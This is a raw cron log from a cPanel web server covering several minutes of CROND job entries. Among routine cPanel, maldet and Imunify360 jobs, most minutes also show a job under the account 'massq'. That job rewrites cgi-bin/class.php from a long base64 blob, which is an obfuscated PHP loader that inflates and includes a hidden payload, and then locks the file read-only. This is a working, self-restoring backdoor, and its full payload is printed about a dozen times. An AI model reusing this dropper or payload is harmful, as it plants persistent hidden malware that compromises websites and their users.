Sep 12 15:30:01 server CROND[14118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:30:01 server CROND[14123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:30:01 server CROND[14116]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:30:01 server CROND[14120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:30:01 server CROND[14117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:31:01 server CROND[14939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:31:01 server CROND[14938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:31:01 server CROND[14940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:32:01 server CROND[15325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:32:01 server CROND[15326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:32:01 server CROND[15327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:33:01 server CROND[15713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:33:01 server CROND[15714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:33:01 server CROND[15716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:34:01 server CROND[16184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:34:01 server CROND[16186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:34:01 server CROND[16185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:35:01 server CROND[16569]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:35:01 server CROND[16570]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 15:35:01 server CROND[16574]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 15:35:01 server CROND[16579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:35:01 server CROND[16581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:35:01 server CROND[16582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:35:01 server CROND[16580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:35:01 server CROND[16577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:35:01 server CROND[16578]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 15:36:01 server CROND[17410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:36:01 server CROND[17411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:36:01 server CROND[17412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:37:01 server CROND[17779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:37:01 server CROND[17780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:37:01 server CROND[17781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:38:01 server CROND[18161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:38:01 server CROND[18162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:38:01 server CROND[18163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:39:01 server CROND[18619]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 15:39:01 server CROND[18620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:39:01 server CROND[18621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:39:01 server CROND[18622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:40:01 server CROND[19008]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:40:01 server CROND[19009]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:40:01 server CROND[19010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:40:01 server CROND[19017]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 15:40:01 server CROND[19020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:40:01 server CROND[19016]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 15:40:01 server CROND[19021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:40:01 server CROND[19018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:41:01 server CROND[19825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:41:01 server CROND[19826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:41:01 server CROND[19827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
